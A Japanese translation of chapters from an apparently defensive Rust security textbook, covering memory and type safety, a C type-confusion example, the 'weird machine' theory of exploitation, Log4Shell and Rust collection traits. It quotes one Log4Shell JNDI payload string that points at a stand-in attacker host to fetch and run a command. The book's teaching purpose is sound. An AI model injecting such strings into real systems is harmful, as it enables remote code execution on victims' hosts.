なぜでしょうか? Rust の静的な所有権検証とは異なり、動的な不変条件チェックには実行時コストがあります。 アロケータは性能とセキュリティのバランスを取る必要がありますが、多くの場合、前者を優先せざるを得ません。 現実的には、不変条件チェックは次の任意の組み合わせになり得ます。

  • 性質として「ベストエフォート」(保証なし、信頼性が低い)である(型システムとは異なります!)
  • デフォルトで無効化されている。
  • 可用性の保証とトレードオフになる(assert 失敗による panic)。
  • 確率的防御のためにランダム化に依存している。
  • [多くの場合より低速な]「強化された」アロケータにのみ用意されている。
  • 実装上または設計上の欠陥によってバイパス可能である。

この章の後半で、ヒープの仕組みをさらに詳しく取り上げます。 そして、より単純なアロケータに支えられたダブルフリー脆弱性をエクスプロイトします。 最新の glibc とその同時代の実装を攻撃する現代的なヒープエクスプロイトは、この本の範囲を超えた技術であり学問でもあります。 その深みに潜りたい人向けには、他にも無料のリソースがあります7

可用性の堅牢性: Rust への移植版が厳密に優れているわけではない

Rust で ! を追加するバージョンは、比較すると完全に安全で、読みやすく快適に見えるかもしれません。

fn get_greeting() -> String {
    String::from("Hello")
}

fn main() {
    let mut greeting = get_greeting();
    greeting.push('!');
    println!("{}", greeting);
}

所有権がメモリの割り当てと解放を処理し、String 型が再割り当てを抽象化します。 また、null 終端について心配する必要もありません。Rust の文字列ではそうではないためです(C の外部コードとの相互運用のために std::ffi::CString8 を明示的に使用する場合を除きます)。

しかし、すべてのエルゴノミクスが無償で得られるわけではありません。 String をヒープ割り当てする際には、依然として libcmalloc が呼び出されます。 生のバッファポインタは依然として返されます。 それでも、私たち自身で NULL チェックする機会はありませんでした。 Rust への移植版は、C 版より堅牢性が低いとも言えます。

  • Rust の fn get_greeting() は、システムメモリが枯渇すると panic! します。失敗し得る操作に対する、失敗しないインターフェイスなのです!

  • C の char* get_greeting() は、枯渇時に終了しません。そのエラーを NULL 戻り値を介して [暗黙的に] 伝播します。これにより、呼び出し元は失敗し得る操作をビジネスに適したロジックで処理する機会を得られます。

現代のシステムで 5〜6 文字の文字列を割り当てるときにメモリ不足になることは、どれほど現実的でしょうか? おそらく、あなたが予想するよりも現実的です。

Web サーバーのような長時間実行されるプロセスが、ホットパス上のたった 1 つの割り当てでさえ解放し忘れた場合、メモリ使用量は時間とともに、潜在的には線形に増加します。 その結果、枯渇は避けられません。 それらのリークした割り当てが外部リクエストの処理によって引き起こされる場合、攻撃者は早期に枯渇を強制してサービスを拒否できます。

現在、メモリリークは安全な Rust では概ね防止されます。 しかし、循環参照を誤用したり、unsafe コードを呼び出したりすれば、依然として発生し得ます。

型安全性を破る(低レベルの値セマンティクス)

空間的および時間的メモリ安全性に関する以前の問題を踏まえ、実行時に ! を追加するのは諦め、単純に Hello! 文字列をハードコードすることにしました。 文字列処理の危険から解放されたので、刺激的な新機能に集中できます。ユーザーレコードの追加です9

この機能には 2 つの機能要件があります。

  1. 新規ユーザーには Hello! で挨拶すること
  2. 既存ユーザーの訪問回数を追跡すること。

これらの要件をサポートするために、ユーザーレコード構造体を追加します。

#define TYPE_NEW_USR 1 // 新規ユーザー、挨拶される
#define TYPE_CUR_USR 2 // 現在のユーザー、訪問回数をインクリメントする

struct user_record_t {
    int type;
    union {
        char *greeting;
        unsigned visit_count;
    };
};
  • #define 行は C プリプロセッサディレクティブ、別名「マクロ」です。これは、ソース内に現れる大文字の定数名のすべてのインスタンスを、対応する定数値に置き換えるようコンパイラに指示します。たとえば、TYPE_NEW_USR はソース内で現れる10場所すべてで 1 に置き換えられます。C マクロには「衛生性」に関する落とし穴11がありますが、ここでは関係ありません。型付けは、2 つのバリアントを持つ Rust の enum よりも弱くなります(それはなぜだと思いますか?答えは複数あるかもしれません)。

  • user_record_t は C の構造体です。これは、新規ユーザーまたは既存ユーザーのいずれかを表します(ただし、同時に両方を表すことはありません)。union フィールドにより、同じメモリ位置に異なるデータ型を格納できます。ここでは、新規ユーザーの挨拶用の文字列ポインタ(char*)と、既存ユーザーの訪問回数用の符号なし整数(unsigned)です。

struct user_record_t を活用した更新版の main 関数:

int main() {
    struct user_record_t rec;

    rec.type = TYPE_NEW_USR;
    rec.greeting = "Hello!";

    // ロジックエラー: `TYPE_CUR_USR` であるべき
    if (rec.type == TYPE_NEW_USR) {
        rec.visit_count += 1; // 型混同、型安全性違反!
    }

    if (rec.type == TYPE_NEW_USR) {
        printf("%s\n", rec.greeting);
    }

    return 0;
}

上記の main 関数を実行すると、何か奇妙なことが起こります。 プログラムは挨拶を出力しますが、先頭の H が欠けています。まるでくだけた省略表現のようです。

ello!

実行時に実際には何が起きたのでしょうか? 型安全性のバグにより、(カウント用整数ではなく)文字列ポインタを誤って 1 増やしてしまい、その結果、次のバイト(H ではなく e)を指すようになりました。 これが可能なのは、次の理由によります。

  1. バグが存在していたこと。
  2. 意図的な演算子オーバーロードのサポート(ポインタ演算は C の重要な機能です)。
  3. union が同じメモリ位置で異なるデータ型を裏付けていること。

これは合法であるべきではないように思えます。 しかし、これらの仕組みは C の「生の」力を支えています。union とポインタ演算により、巧妙な最適化が可能になります。 実際、unsafe Rust の主要なユースケースは、同様の最適化を可能にすることです。

視覚的には、型混同は次のように展開されます。

型混同: 型安全性違反。

上の図には(簡潔にするため)反映されていない詳細があります。 メモリ安全性の例では、動的文字列 Hello! は実行時にヒープ割り当てされていました。 この型安全性の例では、たまたまハードコードされているため、静的メモリに格納されています。

バイナリについて話しているわけではない場合は?

この章ではバイナリエクスプロイトに焦点を当てていますが、データはコードであるという概念は一般に適用されます。 少し Java を例に取り上げてみましょう。

Java 言語はエンタープライズで広く使われており、Kotlin、Clojure、Scala などの言語とランタイムを共有しています。 Java ファミリーのプログラムは、Java Virtual Machine(JVM)によって実行されるバイトコードにコンパイルされます。JVM 自体は、CPU 上で動作するネイティブコンパイルされたプログラムです。

この間接化は、ガベージコレクションと相まって、パフォーマンスコストを伴います。 しかし、その代わりに、Java とその同類はメモリ安全かつ型安全です。 だからといって、それらがエクスプロイト不可能という意味ではありません。 次を考えてみてください。

  • シリアライゼーション攻撃 - 攻撃者が制御するデータを、特定のメモリ内構造へデシリアライズすること(場合によっては、さらに型混同を可能にすることもあります)。

    • Apache Kafka における RCE である CVE-2023-2519412 を参照してください。
  • コマンドインジェクション攻撃 - 攻撃者が指定した任意のコマンドを、実行のためにホストシステムのシェルへ直接渡すこと。

    • Apache Log4j における非常に広範囲に及んだ RCE である CVE-2021-4422813、別名「Log4J」または「Log4Shell」を参照してください。

バイナリエクスプロイトは、システムメモリがどのように機能するかを理解するための優れたレンズです。 しかし、多くのソフトウェア開発者やセキュリティエンジニアは、ネイティブアプリケーションを書いているわけではありません。

非バイナリ攻撃については、自主的に探究することをお勧めします。 念のため、次のセクションで Log4J の詳細についても簡単に扱います。

攻撃者はなぜコードとデータの分離を破るのか?

ソース言語に関係なく、バイナリエクスプロイトはメモリ安全性、型安全性、またはその両方の組み合わせを破ります。 安全性が破られると、未定義動作(UB)が引き起こされます。 言語の操作的意味論は通用しなくなります。 プログラムは、欠陥のあるソースコードには反映されておらず、言語仕様上も有効ではない任意の操作を実行できます。 これにより、エクスプロイト開発者には次の余地が生まれます。

  • 制御フローのハイジャック - 命令ポインタ(IP)の値を設定することで、プログラムの実行をリダイレクトすること。

    • これは強力なエクスプロイトにおける重要な「構成要素」です(ニッチなデータ指向攻撃14は除きます)。限られた場合には、制御フローのハイジャックだけで有用な悪意ある操作が可能になります(関数に望ましい副作用がある場合、引数なしで既存の関数を呼び出すなど)。
  • コードの注入 - 実行可能メモリ位置に書き込み、新しいコードを追加したり既存のコードを変更したりすること。新しく追加または変更されたコードを実行するように制御フローをハイジャックできれば、攻撃者は被害者プロセスを任意に再プログラムできます。

    • 現代のハードウェア/OS の組み合わせでは、コードインジェクションを防ぐため、実行可能コードを読み取り専用メモリに格納します。しかし、この保護を持たないリソース制約のある組み込みシステム15にとっては、依然として主要な攻撃ベクトルです。また、主要な Web ブラウザで使用される JavaScript エンジン16のように、Just-In-Time コンパイルをサポートするアプリケーションにとっても同様です。
  • コードの再利用 - 「ガジェット」と呼ばれる既存コードの小さな断片を多数つなぎ合わせ、半任意の操作列を生成すること17。コードインジェクションよりも、計算の柔軟性とエクスプロイトの安定性の両面で汎用性は低いですが、多くの場合に有効です。

    • コード再利用攻撃は、一般的な緩和策を迂回するため、ほとんどの現代的ソフトウェアに対して実行可能です。ただし、防御策も存在します。この章の後半で防御策について議論し、将来の付録セクションで最も一般的なコード再利用攻撃のクラスである Return-Oriented Programming(ROP)を扱います。

要点

メモリ安全性(空間的または時間的)および/または型安全性を侵害すると、セキュリティと機能性の保証が破壊されます。 これは、攻撃者が制御するデータとホストが実行するコードの間の分離を破るためです。 安全性の脆弱性は、攻撃者に被害者のソフトウェアに対する制御を与える可能性があります。

攻撃者がプロセスの制御を得ると、その足場を活用して、さらに悪意ある目的を進めます。 サービスの妨害、機密データの窃取、マルウェアのインストールなどです。 一見些細な脆弱性が、事業やミッションに重大な影響をもたらす可能性があります。

攻撃者の視点へのこの導入では、コードスニペットとメモリ/型安全性違反のメカニズムを用いて、低レベルに焦点を当てています。 長期的には、エクスプロイトをより抽象的に理解し、この種の脅威について推論するための枠組みを構築することが役立つ場合があります。 そのような概念化はより一般的であり、バイナリ攻撃を超えて応用できます。 それが次のトピックです!


  1. 「コードはデータである」または「データはコードである」は、Lispプログラマーの間でよく知られた格言です。技術的には、どのプログラミング言語のコードもデータです。すべてのインタープリターとコンパイラーは、何らかのデータをエンコードしたファイルを解析します。しかしLisp系言語では、整形式のプログラムのソースコードは、同時に「S式」と呼ばれる有効なデータ構造でもあります。S式は言語そのものの中核をなすため、Lispプログラムにはホモイコニシティ18と呼ばれる性質があります。つまり、プログラムをデータとして操作できます。これにより豊かなメタプログラミング能力が可能になり、それはRustのマクロシステムに影響を与えた要素の1つです。 エクスプロイトに話を戻すと、メモリ破壊エクスプロイトは、奇妙な種類のメタプログラミングだと考えることができます。

  2. What Hacker Research Taught Me. Sergey Bratus (2011).

  3. Struct std::string::String. The Rust Team (2023年アクセス).

  4. Class std::string. The C++ Team (2023年アクセス).

  5. tchacheは「thread local cache」の略で、glibcバージョン2.266malloc実装に追加された内部最適化です。非常に小さなメモリチャンクが要求された場合、特にマルチスレッドプログラムにおいて、より高速な割り当てを可能にします。このエラーメッセージは、実装に極めて固有です。

  6. Overview of Malloc. glibc Wiki (2022年アクセス). ↩2

  7. how2heap. Shellphish CTF team (2022年アクセス).

  8. Struct std::ffi::CString. The Rust Team (2023年アクセス).

  9. CWE-843: Access of Resource Using Incompatible Type (‘Type Confusion’). MITRE Corporation (2022年アクセス). 私たちの型[非]安全性に関するコードスニペットは、そこで提供されている例に基づいています。

  10. 3.13 Options Controlling the Preprocessor. The GNU Project (2021年アクセス). マクロを多用したCコードをデバッグするとき、マクロが何に展開されるかを確認するためにプリプロセッサを実行すると役立つ場合があります。gcc-Eフラグは、この展開を行います。

  11. 衛生的マクロ. Wikipedia (2022年アクセス).

  12. CVE-2023-25194. MITRE (2023年アクセス).

  13. Apache Log4j Vulnerability Guidance. CISA (2021).

  14. ここでほぼという但し書きを付けているのは、「データ指向攻撃」を考慮するためです。その名前が示すように、これらの攻撃は非制御データ(変数値や非関数ポインターなど)を操作して、情報を漏えいさせたり、性能を低下させたり、さらには権限昇格を行ったりします。言語非依存の緩和策の文脈でデータ指向攻撃について簡単に説明しますが、本書ではコード例は扱いません。これらの攻撃は、制御フローハイジャック攻撃に比べて、はるかに汎用性が低く、一般的でもない傾向があります。

  15. Challenges in Designing Exploit Mitigations for Deeply Embedded Systems. Ali Abbasi, Jos Wetzels, Thorsten Holz, Sandro Etalle (2019).

  16. SoK: Make JIT-Spray Great Again. Robert Gawlik, Thorsten Holz (2018).

  17. xgadget. Tiemoko Ballo and contributors (2022年アクセス). Return-Oriented Programming (ROP)およびJump-Oriented Programming (JOP)のエクスプロイト開発のための、このオープンソースツールに取り組む自由時間がもっとあればよかったのですが。

  18. ホモイコニシティ. Wikipedia (2022年アクセス).

攻撃者の視点:統一理論(2/2)

動機のある敵対者には、脆弱性を発見するための時間とリソースがあります。 そして、対応するエクスプロイトを武器化します。 業界では、その証拠を常に目にします。 CVE/PoC とパッチの流れがリリースノートに記録されています。 企業は侵害やインシデントに悩まされ、ユーザーはマルウェアや詐欺に悩まされています。 実際に悪用されたエクスプロイトに関する Google の分析1より:

メモリ破壊脆弱性は、過去数十年にわたりソフトウェアを攻撃する標準的な手段であり、攻撃者が今なお成功を収めている方法でもあります。

ソフトウェア保証の範囲は、脆弱性の排除よりも広いものです。 第 2 章の DoD による完全な定義を言い換えると、保証とは、特定のソフトウェア2が以下を満たすという信頼の度合いです。

  1. 「脆弱性がない」
  2. 「意図したとおりに機能する」

メモリ安全性および型安全性の違反は、(1) セキュリティと (2) 一般的な機能の両方を損なう可能性があります。 それらは、上記の保証基準の両方について、信頼を大きく低下させます

ところで、この本のタイトルの着想は何でしょうか?

「High Assurance」は標準的な用語ではなく、人によって意味が異なります。 この本のタイトルとして適切かどうかは議論の余地があるかもしれません!

このタイトルは、2014 年の DARPA 研究プログラム3から着想を得ています。 「High Assurance Cyber Military Systems (HACMS)」プログラムは、サイバー・フィジカル組込みシステムへの形式手法の応用を調査しました。 その目標は、原理に基づいた数学的に厳密なアプローチを用いて、重要ソフトウェアのセキュリティと機能性に対する信頼(ソフトウェア保証)を獲得することでした。

このプログラムでは、幅広いアプローチと技法が調査されました4。 参加チームの 1 つは、ドメイン固有言語(DSL)5を発明しました。 この関数型の Haskell 風言語には、2 つの重要な特性がありました。

  1. メモリ安全 - 出力される実行可能ファイルに、空間的または時間的なメモリ安全性違反が含まれないという強力な保証。

  2. ヒープ使用なし - プログラム実行中に使用されるのは、静的メモリとスタックメモリだけです。これにより、信頼性(最悪実行時間がヒープ状態に依存せず、ヒープ枯渇によって操作が失敗しない)と移植性(プログラムを小さなマイクロコントローラにデプロイできる)が強化されます。

これらの DSL の特性は、非常になじみ深く聞こえるはずです。 Rust は、#![forbid(unsafe_code)] 属性で (1) を、#![no_std] で (2) をおおむね達成できます。

Rust は、比較的最近の最先端の政府資金による研究プログラムにおける新しい DSL と同じ保証基準を達成できる、商業的に実用可能で人気が高まりつつあるプログラミング言語である、と主張したくなります。 それは並外れた主張です。

しかし、それは実際に正しいのでしょうか? 具体的な実装の観点から、プログラマはそうした高保証特性を正確にどのように達成できるのでしょうか? どのようなコンテキスト、制限、洞察がこの目標を支えているのでしょうか? さらに重要なのは、Rust を他のオープンソースツール、業界のベストプラクティス、研究成果と組み合わせて、保証レベルをさらに高めることはできるのでしょうか?

エクスプロイトのためのメンタルフレームワークを構築する

少しの間、理論的な領域に踏み込みます。 心配しないでください。この章の後半にはハンズオン演習があります。 ただし、まずは抽象的で、場合によっては奇妙な話になります。

プログラムが取り得る振る舞いを、すべての可能な実行にわたって、重なり合う集合として可視化して考えてみましょう6

プログラムがすべての可能な実行にわたって示し得る振る舞いの種類に対して、保証を概念化する。

バイナリエクスプロイトの文脈では、エクスプロイトを未定義動作(UB)の真部分集合7である悪意のある振る舞いと考えることができます。

一般的なエクスプロイトについて、メモリ安全性違反の外側では、部分集合関係がない場合があります。おそらく、悪意のある集合は UB 集合および実際の集合と交差しているだけです(3 つの重なり合う円で、同心円になっている 2 つの円はない)。

  • エクスプロイトの例:パス/ディレクトリトラバーサル8。クライアント・サーバーの文脈では、パスでファイルを返すことは、定義済みで意図された振る舞いです。しかし、機密ファイルが信頼度の低いクライアントに公開される場合、重大な脆弱性になり得ます。特に、そのクライアントがファイルを書き込める場合はなおさらです。

パストラバーサル攻撃とは、正確には何でしょうか? OWASP は明確な定義8を示しています。抜粋:

「ドット・ドット・スラッシュ(../)」シーケンスやその変種でファイルを参照する変数を操作したり、絶対ファイルパスを使用したりすることで、[その]ファイルシステムに保存されている任意のファイルやディレクトリにアクセスできる可能性があります。これには、アプリケーションソースコード設定、重要なシステムファイルなどが含まれます…

上の図で Actual Behavior (Average Assurance) とラベル付けされたシナリオを考えてみましょう。 プログラムがすべてのテストに合格し、ほとんどの場合に動作するとしても、本番環境で失敗するケースがあります(例:説明のつかないエラー、まれな競合状態、過去または将来の何らかの脆弱性)9

理想的には、プログラムは任意の入力および任意の状況下で正しく機能し続けるべきです。 その振る舞いの集合は、以下を満たすでしょう。

  • 実際の集合に含まれるすべての正しい動作と交差する(上の図は縮尺どおりではありません)。

  • 追加の正しい振る舞いを実装し、実際の集合が失敗するユースケースやエッジケースをカバーする。

  • 未定義集合、つまりその悪意のある部分集合を含む集合と互いに排他的である。

このシナリオは、上では Ideal Behavior (Highest Assurance) とラベル付けされています。 そのような理想的なプログラムは存在しません。 高保証ソフトウェアの防御者および開発者としての私たちの目標は、この理想的な集合にできる限り近づけることです。

しかし、このセクションの残りでは、攻撃者の視点に戻ります。 あの赤い円、つまり悪意のある集合をさらに深く掘り下げます。

エクスプロイトの「奇妙な機械」理論

メモリ破損エクスプロイト(例: 制御フローの乗っ取り、コード注入、コード再利用)に共通するものは何でしょうか? 根本的なレベルでは、それらは攻撃者があなたのプログラムの一部を書き換える手段です。 ある学派の見方を借りれば、攻撃者はあなたのプログラムの内部にある、小さく制約されたマシン向けに開発しているのです。 Bratus ら10は、抽象的な「奇妙なマシン」が攻撃者のデータ/コードを実行すると主張しています。

この概念化は、「通常のマシン」11がどのようなものかから始めると、より理解しやすいかもしれません。 例としてネットワークソケットを使い、2つの状態機械を図示します。1つは通常のもの、もう1つは奇妙なものです。

ネットワークソケットの基礎

ソケットは、ネットワーク接続のエンドポイントを表現する方法です。 ソケットにより、プロセスはネットワーク越しのデータ送受信を、ローカルファイルへの書き込み/読み取りとほぼ同じように扱えます。 下位のネットワークプロトコルに関係なくです。

ソケット通信は、クライアントとサーバーという2種類のエンティティを前提とします。 クライアントは能動的であり、ユーザーに代わって接続要求を開始します。 サーバーは受動的であり、要求されたコンテンツを提供する前に接続を受信するのを待ちます。

受信するネットワーク接続を受け入れるために、POSIX ソケット API12を使用する Web サーバーを想像してください。 この標準インターフェイスでは、ソケットは5つの状態を持つものとして記述されます。

  1. Ready - 新しく作成されたソケットの初期状態。
  2. Bound - ネットワークアドレス(おそらく IP とポート番号)にバインドされている。
  3. Listening - 受信接続を待ち受けている。
  4. Open - データを送受信する準備ができている(実際に送受信している間はこの状態に留まる)。
  5. Closed - もはやアクティブではなく、セッションは終了している。

視覚的には、サーバーのソケットを以下の有限状態機械(FSM)として表せます。 これは実際の振る舞いをエンコードしているものと仮定します。

POSIX Socket API FSM(サーバーに焦点)

平均的なユーザーのリクエストは、この通常の機構によって処理されます。

  • サーバーが起動し(「Ready」)、ソケットをバインドし、リクエストの待ち受けを開始します(上記の「Bound」->「Listening」遷移)。

  • ユーザーが特定の Web ページを要求するために接続します。その時点でサーバーは接続を受け入れ、ソケットを開き(「Listening」->「Open」)、要求されたコンテンツを送信します(「Open」に留まります)。

  • 送信が完了すると、ソケットは閉じられます(「Open」->「Closed」)。ページの内容がクライアントユーザーのブラウザにレンダリングされます。

不都合なことは何も起こりません。

ここで、このサーバーが誤って設定されていると想像してください。任意のクライアントがエラーページに到達したとき、サーバーは正確なソフトウェア名とバージョン番号を報告します(情報漏えい、不十分な運用保証)。 これにより、攻撃者はサーバーのソフトウェアを「フィンガープリント」できます。

さらに悪いことに、報告されたバージョンが古く、Web サーバーのリクエスト解析ロジックに空間的メモリ安全性の脆弱性が含まれているとします。 この特定のソフトウェアバージョンは、ある HTTP ヘッダーを処理するために固定サイズのスタックバッファを使用しており、そのヘッダーは整形式であれば余裕を持って収まるはずです。

しかし、バッファへの文字列コピーに境界チェックがありません。

攻撃者は、バッファをオーバーフローさせ、コード再利用によって libc 関数を呼び出し、最終的にアクティブなソケット越しに追加の任意コマンドを受け付けるシェルを起動する、特別に細工したリクエストを作成します。 ここでは、リクエストデータが奇妙なマシンによって処理されています!

  • メモリ安全性が破られ(脆弱性)、過度に長いヘッダーフィールドのデータが、ある種の場当たり的な二次プログラムとして解釈されるコードになります。

  • バッファの終端を越えて書き込まれる各データ片は、すでに存在するコードから借用された「奇妙な命令」になります(コード再利用)。

  • そのような命令の列がプログラムの実行を乗っ取り、奇妙なプログラムの状態機械の制御下に CPU を置きます(エクスプロイト)。

この例では、奇妙なマシンには2つの状態があります。

  1. Buffering - コマンド文字列を構築するために文字を受信している。
  2. Executing - シェルのサブプロセスとしてコマンドを実行している。

2つ目の悪意ある影のマシンは、常に表面のすぐ下に存在しています。 起動され、出現するのを待っているだけです。 理想的でないあらゆるプログラムにおいてです。

視覚的には、エクスプロイトペイロードがサーバーによって受信された場合、通常のマシンの「Open」状態から奇妙なマシンへ遷移します。 先ほど実際の振る舞いを仮定したことを思い出してください。現実には、それは他の2つの振る舞いのファミリーと重なり合うことを意味します。

  • 脆弱なヘッダーフィールド解析は open 状態で発生しました。この状態は**未定義動作 (UB)**を導入しました。

  • 攻撃者は UB を利用してエクスプロイトを細工しました。自分自身の悪意のある振る舞いの有限状態機械をプログラムしたのです。

通常のマシン(「プログラマー FSM」)に対するリモートエクスプロイトペイロードを介してプログラムされた奇妙なマシン(「攻撃者 FSM」)。

このような奇妙なマシンを発見して実行することは、プログラムの安全でなさに対する反例による証明です。 Bratus らを引用すると、エクスプロイトは次のことを示します10

…攻撃対象の環境に明示的または暗黙的に存在する、ほとんどのユーザーや管理者には知られていない実行モデルとメカニズム…したがって攻撃は、そのような予期されない計算が実際に可能であることの構成的証明として、つまり対象が記述された [奇妙な] 実行モデルを実際に含んでいることの証拠として現れる。

エクスプロイトプログラミングは、これら偶発的または予期されないマシンやモデル、そしてそれらがバグ、合成、レイヤー間相互作用から生じる仕組みに関する、生産的な経験的研究であり続けてきた。

形式的な証明を求める読者のために、Dullien はさらに、数学的厳密さをもって奇妙なマシンモデルを強固なものにしています13。注目すべきことに、Dullien の研究は、エクスプロイトに関する本書の扱いとは、2つの興味深い点で異なります。

  1. 彼は、理論上のプログラムの有限状態機械について、エクスプロイト不能性の形式的証明を提示しています。たとえ実用的でなくても、特定の制約下ではそのような証明を構築できることを示すためです。

    • 本書では、いかなるプログラムについてもエクスプロイト不能性を証明しようとはしません。とはいえ、これはコンピュータセキュリティを科学として理解するうえで重要な、強力なアイデアです。
  2. 彼は、同じ理論上のプログラムの別実装について、制御フローを変更することなくエクスプロイト可能性(反例による証明)を示しています。

    • 本書では、完全な制御フロー完全性を維持するエクスプロイトは示しません。ただ、「データ指向攻撃」は奇妙なマシンプログラミングの可能な例である(たとえ一般的ではないとしても)ことを知っておいてください。

奇妙な機械は普遍的である

状態機械の皮を剥ぐ方法は一つではありません。 上の図をバイナリ悪用の文脈に位置付けましたが、これはメモリ安全なコマンドインジェクションも正確に表しています。 実際、Java の Log4J CVE-2021-4422814 は、同様のリモートコード実行(RCE)セマンティクスを持つ、安定して広範に適用可能な奇妙な機械を可能にします。

大まかに言うと、Log4J の悪用は次のように機能します15:

  • 本番グレードのソフトウェアは、エラー診断、異常検知、システム監視を支援するためにロギングフレームワークを活用します。Apache Log4j は Java 向けの主要なロギングライブラリであるため、実環境ではほぼ至る所で使われています。

  • Log4j は、ログメッセージのメタプログラミングのためにマクロのような構文をサポートしています。たとえば、文字列 ${java:version}Java version X.Y.Z_XYZ として展開されログに記録されます。これはホストに現在インストールされている Java ソフトウェアをフィンガープリントするものです。

  • コードベース内の多くのログ出力箇所は、外部の、攻撃者が制御する値をログ文字列へ直接書き込みます。ホストの User Agent は、設定可能であるため、その一例です。展開/メタプログラミングと組み合わさることで、否認防止プロパティが失われます。攻撃者がログメッセージの内容を制御し、足跡を隠すためにデータを偽造できるからです。

  • さらに悪いことに、あらゆる保証も失われます。2013 年時点で、Log4j は Java Naming and Directory Interface(JNDI)との統合を提供しています。この機能はリモートルックアップを目的としたもので、リモートサーバーから Java クラスを取得して実行できます。攻撃者が ${jndi:ldap://evildomain.net:1337/Basic/Command/Base64/SOME_BASE64_CMD} のような文字列をログに入れることができれば16、被害者のホストは攻撃者が制御するサーバーへ接続し、任意の悪意あるコマンドを取得して、ローカルで実行します。

このコマンドインジェクションの例では、奇妙な機械は、攻撃者が制御するサーバーを指す特別に細工された文字列によってプログラムされています。 信頼されていないログデータが、被害者プロセスの権限で実行されるコードになります。

この脆弱性はメモリ安全性違反ではなく、設定上の欠陥です。デフォルトで無効にされているべきだった難解な機能の、意図しない組み合わせです。 同等の機能セットを提供し、それが同様に安全に設計されていなかったなら、Rust のロギングライブラリ内でも起こり得たでしょう。

要点

現実的で十分に大きなプログラムの振る舞いには、何らかの未定義動作(UB)が含まれます。 これは Rust プログラムにも当てはまります。ただし、最後の依存関係に至るまで #![forbid(unsafe_code)] であり、CFFI 関数が呼び出されず、プログラムのどのコードも rustc 自体の既知または未知のバグを引き起こさない場合を除きます。

バイナリ悪用において、攻撃者は UB を利用して悪意ある振る舞いを引き出します。 彼らは、悪質な操作を実行するためにプログラム実行を乗っ取ります。

それが可能なのは、ほとんどすべてのプログラムが、別の意図されていないプログラムの構成要素を含んでいるからです。 それらの構成要素が「奇妙な機械」を構成します。 攻撃者が動作するエクスプロイトを書くとき、本質的には、この内なる機械のための新しいアプリケーションを開発しているのです。

コンピューターセキュリティという抽象的なゲームにおいて、攻撃者は発見した任意の奇妙な機械をうまく利用できれば勝利します。 実際には、防御側が奇妙な機械を完全に排除することはできません。 計算可能性の観点からは、チューリング完全性17が攻撃者に大きな優位性を与えます。

防御側は、通常の状態から奇妙な状態へ遷移する可能性を減らし、かつ/または検出しようと努めます。 強力に強制されるメモリ安全性と型安全性は、悪意ある状態への可能な遷移を非常に多く排除します。

このような高レベルの概念化を念頭に置いて、デバッガの扱い方を学び、自分たちでも奇妙な機械の開発に手を出し始めましょう。


  1. 知れば知るほど、知らないことを知る. Maddie Stone, Google Project Zero (2022).

  2. DoD ソフトウェア保証イニシアチブ. Mitchell Komaroff, Kristin Baldwin (2005, Public Domain)

  3. 高保証サイバー軍事システム(HACMS)(アーカイブ). DARPA (Accessed 2023).

  4. HACMS プログラム:形式手法を用いて悪用可能なバグを排除する. Kathleen Fisher, John Launchbury, Raymond Richards (2017).

  5. HACMS(高保証サイバー軍事システム). Galois (Accessed 2023).

  6. 十分な複雑さを持つ任意のプログラムの振る舞いは、おそらく、悪意ある集合および未定義の集合の両方と何らかの重なりを持つ大きな集合であることに注意してください。ここで私たちは、任意の可能な入力に対する、すべての可能な実行について話していることを思い出してください。そして、絶対的なセキュリティは存在しません。絶対的な保証もありません。

  7. この仮定が常に成り立つわけではありません。たとえば、コマンドインジェクション脆弱性(例:Log4J)は、きわめて信頼性が高く強力なエクスプロイトになり得ますが、それでも言語仕様に関する限り、その影響は定義済みです。私たちは依然として、提供されたコマンドを忠実に実行した、明確に定義されたプログラムを持っています。ただし、それは作者が意図したコマンドではなかっただけです!

  8. パストラバーサル. OWASP (Accessed 2023). ↩2

  9. 第 3 章の UB「時限爆弾」の概念を思い出してください。プログラムは UB に依存していても、期待どおりに動作することがあります。少なくとも、ツールチェーンの微妙な変更や特別に細工された入力がそれを引き起こすまでは。

  10. エクスプロイトプログラミング:バッファオーバーフローから「奇妙な機械」と計算理論へ. Sergey Bratus, Michael Locasto, Meredith Patterson, Len Sassaman, and Aanna Shubina (2011). ↩2

  11. 私たちが「通常の機械」と呼ぶものは、Dullien13Intended Finite State Machine(IFSM) と呼ぶものです。任意のソフトウェアプログラムは、CPU の低レベル FSM(アーキテクチャマニュアルで規定される)の上でエミュレートされる、抽象的な IFSM(ここでは、理想的な POSIX Web サーバーの状態)の近似と考えることができます。「近似」というのは、プログラムにはバグがあるからです。脆弱性であるバグの部分集合は、IFSM の状態から抜け出し、創発的で奇妙な FSM 状態へ入ることを可能にします。

  12. Berkeley sockets. Wikipedia (Accessed 2022).

  13. 奇妙な機械、悪用可能性、そして証明可能な悪用不可能性. Thomas Dullien (2017). ↩2

  14. Apache Log4j 脆弱性ガイダンス. CISA (2021).

  15. Log4JとJNDIエクスプロイト:なぜそんなに悪いのか?. Computerphile (2021).

  16. Log4j(CVE-2021-44228)RCE脆弱性の解説. Marcus Hutchins (2021).

  17. チューリング完全性. Wikipedia (Accessed 2022).

Rustのメモリ安全性の保証

注: このセクションは作業中です。 プレビューについては、こちらのブログ記事を参照してください:

Blue Team Rust: 「メモリ安全性」とは実際のところ何か?

Rustのメモリ安全性モデルの概要。


インターフェイスに関連するトレイト

私たちが構築しているライブラリは、Rust の標準ライブラリにある 2 つのコレクション、BTreeSet1BTreeMap2 の代替です。 私たちの目標は、同じくよく知られたイディオマティックな API を提供しつつ、最大限の安全性(あらゆるシステム向け)とベアメタルへの移植性(ファームウェアや小型マイクロコントローラ向け)を備えることです。

そこに到達するには、標準ライブラリの API 設計について少し理解する必要があります。 具体的には、これらの API がそのジェネリック引数に束縛するトレイトです。 こうした設計上の判断は、使いやすさとリソース管理の相互作用を形作ります。

API 設計は、私たちの特定のデータ構造のアルゴリズムとは直交する関心事なので、まずはそこから取り組みましょう。 標準ライブラリと同等の機能を実現するために、Rust が「内部で」どのように動作するかについて理解を深めます。

ジェネリクスとトレイトとは、何でしたっけ?

第 3 章で概念と構文を紹介しました。 思い出すために、もう一度見てみましょう。

  • ジェネリクス(例: 具象型 u64u32 の代わりとなる T)は、コードの重複を不要にします。単一の関数のソースコードをコンパイラが使用し、その関数が呼び出される各具象型ごとに、機械語コード上の同等物を 1 つ生成できます(単相化)。

  • トレイト(例: ソートや比較が可能な型を表す T: Ord)は、異なる型の間で共有される振る舞いを定義します。他の言語におけるインターフェイスや抽象基底クラスに似ています。

